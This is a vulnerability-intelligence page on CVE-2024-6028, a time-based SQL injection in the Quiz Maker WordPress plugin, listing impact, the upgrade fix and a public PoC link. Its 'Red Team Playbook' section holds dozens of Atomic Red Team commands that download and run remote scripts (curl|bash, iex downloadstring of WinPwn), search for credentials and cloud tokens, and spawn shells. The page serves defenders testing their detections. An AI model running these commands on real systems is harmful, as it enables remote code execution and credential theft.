CVE-2024-6028
Overview
This vulnerability is a time-based SQL Injection affecting the ays-pro Quiz Maker WordPress plugin. The root cause is insufficient escaping and lack of proper query preparation for the 'ays_questions' parameter within the plugin's SQL statements. The flaw resides in the database interaction logic of the Quiz Maker component, allowing injection of malicious SQL code through user-supplied input.
Vulnerability Description
The Quiz Maker plugin for WordPress is vulnerable to time-based SQL Injection via the 'ays_questions' parameter in all versions up to, and including, 6.5.8.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to perform time-based SQL Injection attacks, enabling extraction of sensitive data from the backend database. No user interaction or privileges are required, as the attack vector is accessible over the network without authentication (CVSS vector AV:N/AC:L/PR:N/UI:N). This can result in unauthorized disclosure of confidential information, potentially compromising the integrity and confidentiality of the affected system's data.
Solution
Users should upgrade the ays-pro Quiz Maker plugin to version 6.5.8.4 or later, where proper input sanitization and prepared statements have been implemented to mitigate this SQL Injection vulnerability. Detailed patch instructions and version updates are available at the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/ab340c65-35eb-4a85-8150-3119b46c7f35). No specific workarounds are documented; applying the vendor-provided patch is required for remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Quiz Maker plugin for WordPress is characterized by a time-based SQL injection flaw that arises from inadequate input validation and insufficient escaping of user-supplied parameters. Specifically, the 'ays_questions' parameter is exploited due to the plugin's failure to properly prepare SQL queries, allowing attackers to manipulate the query structure. This vulnerability is particularly concerning as it permits unauthenticated users to inject arbitrary SQL code into existing queries. By doing so, attackers can execute additional SQL commands that may lead to unauthorized access to sensitive data stored in the database, including user credentials, personal information, and other confidential records.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a malicious request to the affected plugin, targeting the 'ays_questions' parameter with specially designed payloads that exploit the SQL injection flaw. For instance, an attacker might use time-based techniques to infer the existence of data by measuring the response time of the server to different queries. This method allows attackers to extract information even when direct error messages or data are not returned. Given the widespread use of the Quiz Maker plugin across numerous WordPress sites, the potential for mass exploitation is significant, especially if the sites are not regularly updated or monitored for security vulnerabilities.
The real-world impact of this vulnerability can be profound, particularly for organizations that rely on the Quiz Maker plugin for educational or training purposes. Successful exploitation can lead to data breaches, resulting in the exposure of sensitive user information and potentially damaging the reputation of the affected organization. Furthermore, the financial implications can be severe, including costs associated with incident response, legal liabilities, and regulatory fines, especially if personal data is compromised. The high CVSS score of 9.8 indicates that this vulnerability poses a critical risk, necessitating immediate attention from site administrators and security teams.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, regular security audits and vulnerability assessments should be conducted to identify and remediate weaknesses in their web applications. Employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application layer. Additionally, it is crucial to keep the Quiz Maker plugin and all other components of the WordPress environment up to date with the latest security patches. Developers should also adopt secure coding practices, such as using prepared statements and parameterized queries, to prevent SQL injection vulnerabilities from being introduced in the first place.
In conclusion, the SQL injection vulnerability in the Quiz Maker plugin represents a significant threat to WordPress users, particularly those who utilize the plugin for educational purposes. The ease of exploitation combined with the potential for severe data breaches underscores the necessity for proactive security measures. By prioritizing vulnerability management, employing robust detection mechanisms, and adhering to secure coding standards, organizations can mitigate the risks associated with this and similar vulnerabilities, ultimately safeguarding their data and maintaining user trust.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ays-Pro | Quiz Maker | All |
cpe:2.3:a:ays-pro:quiz_maker:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
gmh5225/CVE-2024-6028-Poc
CVE-2024-6028 Quiz Maker <= 6.5.8.3 - Unauthenticated SQL Injection via 'ays_questions' Parameter
|
gmh5225 | 0 | 0 | 2024-06-25 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.